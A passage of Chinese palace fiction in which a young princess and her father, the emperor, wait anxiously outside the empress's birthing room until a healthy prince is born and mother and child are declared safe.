白晓晓一听,整个人都绷直了——这简直是天塌下来一样大的事,再没什么比这更要紧的了! 她二话不说,拔腿就朝着母后的寝宫跑。心里一急,脚下没留神,扑通摔了一跤,手心擦破了一层皮,火辣辣地疼。 可她根本顾不上,爬起来继续跑,竟把吉祥都甩在了身后。 她从来没生过孩子,甚至从没见过这场面,可有一种本能般的冲动推着她,一定要陪在娘亲身边! 产房外已经忙成一片,人来人往却井然有序。 有宫女端着参汤急步入内,有人不停换热毛巾、递温水,稳婆沉稳的安抚声从里面隐约传来。 白晓晓刚要闯进去,就被门口的嬷嬷轻声拦下:“公主乖,里面正忙着,您别添乱。” 她咬了咬牙,真恨自己不是个学医的。 可偏偏陈兮芮气息微弱地喊她:“晓晓乖……” 这一刻,白晓晓的眼泪再也忍不住夺眶而出。 她从没这么害怕过,一想到生孩子就是过鬼门关,她一颗心就七上八下的。 「求求神仙,一定要保佑我娘亲……」 「观音菩萨、如来佛祖、耶稣、圣母玛利亚……不管哪路神仙,我都信!」 「只要您保佑她平安,我以后天天给你们上供,把点心都分你们一半!」 她的小心脏扑通扑通几乎要跳出胸口,就在这时,一双熟悉的大手突然将她整个人抱了起来。 白洵紧紧搂着闺女,朝着窗内高声喊道:“芮娘别怕!我和晓晓都在这里陪你!” 里面没有回话,只有压抑而用力的呼吸声隐约传来,每一声都像一根线,牢牢拴在窗外父女俩的心尖上,扯得生疼。 父女俩再也说不出一句话,只是紧紧靠在一起,手攥着手,心跳声重叠在一起。 白晓晓把小脸紧紧贴在冰凉的窗棂上,仿佛这样就能离娘亲更近一点,能分担一丝她的痛苦。 她甚至不自觉地模仿着里面稳婆的指令,小肚子一鼓一鼓地暗暗用力,好像这样就能帮上忙。 白洵感受到怀里的小身子绷得紧紧的,他宽厚的大手轻轻拍着女儿的背,声音低沉却带着不容置疑的坚定:“别怕,你娘亲一定能顺顺利利,平平安安。” 这话既是在安慰女儿,又像是在给自己打气。 他下颌线紧绷,目光死死盯着那扇隔开他的门,仿佛要透过门板看清里面的情形。 时间仿佛被拉长了,每一息都过得格外缓慢。 突然,里面一阵短暂的寂静,紧接着,一声格外清晰、用尽了全身力气的痛呼穿透门板! 白晓晓吓得猛地一抖,小手瞬间攥紧了爹爹的衣襟,十个指甲都掐白了。 就在这声痛呼之后,万籁俱寂。 父女俩几乎同时屏住了呼吸,心跳都漏了一拍。 然后—— “哇啊——哇啊——” 一声响亮有力的婴儿啼哭,如同破开乌云的第一道阳光,骤然划破了令人窒息的紧张气氛! 生了! 几乎在哭声传来的同一刻,产房内传来一阵喜悦的喧哗和忙乱的脚步声。 一位满头是汗却笑容满面的老嬷嬷探出头来,声音里充满了激动和喜悦:“恭喜圣上!恭喜公主!皇后娘娘凤体安康,是一位健健康康的小皇子!母子平安!” “平安、平安就好!平安就好!” 白洵重重地松了一口气,一直紧绷的肩膀瞬间垮了下来,这才发觉后背已被冷汗浸湿。